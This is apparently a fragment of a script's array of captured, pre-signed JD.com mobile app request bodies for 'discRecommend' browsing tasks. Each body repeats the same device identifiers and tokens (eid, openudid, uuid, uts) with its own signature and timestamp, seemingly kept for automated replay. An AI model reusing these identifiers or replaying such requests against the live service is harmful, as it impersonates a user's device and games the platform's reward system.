`area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232756870%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=005a17ff4b97e822c5ba0f4ad82e82a6&st=1608135691877&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239906757%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=aaef3fdea5bffafe30c5a8038e924ea2&st=1608135705696&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22238055250%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=5a7f7629dcf9714cf849eb7c198e75d4&st=1608135719481&sv=121&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239911025%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=bc5d52bc1ae461b861efdc0e80b53fb9&st=1608135732696&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232075505%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=e3159f46f03193f4ff37555ac2ce3347&st=1608135747723&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230306175%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=ef74243798ed813e1a7318002fd9b658&st=1608135764036&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232072753%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=9c9bd997e65ffce799fe117bbe700e83&st=1608135777862&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230354156%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=f4bd50d42d37d901f2eae9aeb92097be&st=1608135793215&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22230474392%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=8e7774c8053ff1b365d9742064b575e8&st=1608135807319&sv=101&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241113475%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=8a9a3baa7ad9de8752f40a020d02b9ed&st=1608135821860&sv=100&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240814080%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=cf060e827388757075639b488e10a271&st=1608135837068&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239281739%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=265def4ee8405300076ebecb8bc16244&st=1608135850992&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239326056%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=0c06232d2d28875540ba2be7e3cf0248&st=1608135864617&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239966731%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=a57bc6809cb01c4bf0807c15be141100&st=1608135879159&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228925366%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=7cfec28169bec339ca5d58083bff413e&st=1608135892590&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22241141664%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=1268ce3aa86c9fd1ceb3dab244801be1&st=1608135922596&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239879879%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=727339ecac9c040a6a8020b4462ed085&st=1608135944029&sv=120&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22240921105%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=dad6edd5a8f5352039637e55b853c58b&st=1608135958263&sv=122&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22239913667%7C11%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=263a98386f5a2ce3317727d5cd35ae31&st=1608135972412&sv=110&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22228195657%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=bca8c830cb94089c31fa4039596d49e8&st=1608135986945&sv=102&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + `area=19_1601_50258_51885&body=%7B%22referPageId%22%3A%22discRecommend%22%2C%22itemId%22%3A%22232232068%7C2%22%2C%22bizType%22%3A1%2C%22taskId%22%3A%223%22%2C%22mType%22%3A0%7D&build=167454&client=apple&clientVersion=9.3.0&d_brand=apple&d_model=iPhone11%2C8&eid=eidIf12a8121eas2urxgGc%2BzS5%2BUYGu1Nbed7bq8YY%2BgPd0Q0t%2BiviZdQsxnK\/HTA7AxZzZBrtu1ulwEviYSV3QUuw2XHHC%2BPFHdNYx1A\/3Zt8xYR%2Bd3&isBackground=N&joycious=230&lang=zh_CN&networkType=4g&networklibtype=JDNetworkBaseAF&openudid=88732f840b77821b345bf07fd71f609e6ff12f43&osVersion=14.2&partner=apple&rfs=0000&scope=11&screen=828%2A1792&sign=40a4ee9d60a14b3fcba4586502f0940b&st=1608136001520&sv=111&uts=0f31TVRjBSsqndu4\/jgUPz6uymy50MQJeV3gx7opiKtygGyo92leRFrPVOIo20NforiduH91mLoQ1o2qJ8daXhf\/xhRJmtkYS6BpaDYFbcnRsHq1NWDoHNSdz0IHasLR0qvMInTX\/zXP6xhvVS%2BkNhIG3OBassF9hJCEvZYn2fZrNJ0pGMFd1nSajoLNxMEL\/CpQOaWCkDUj2zuEy%2BNBnw%3D%3D&uuid=hjudwgohxzVu96krv\/T6Hg%3D%3D&wifiBssid=unknown`, + 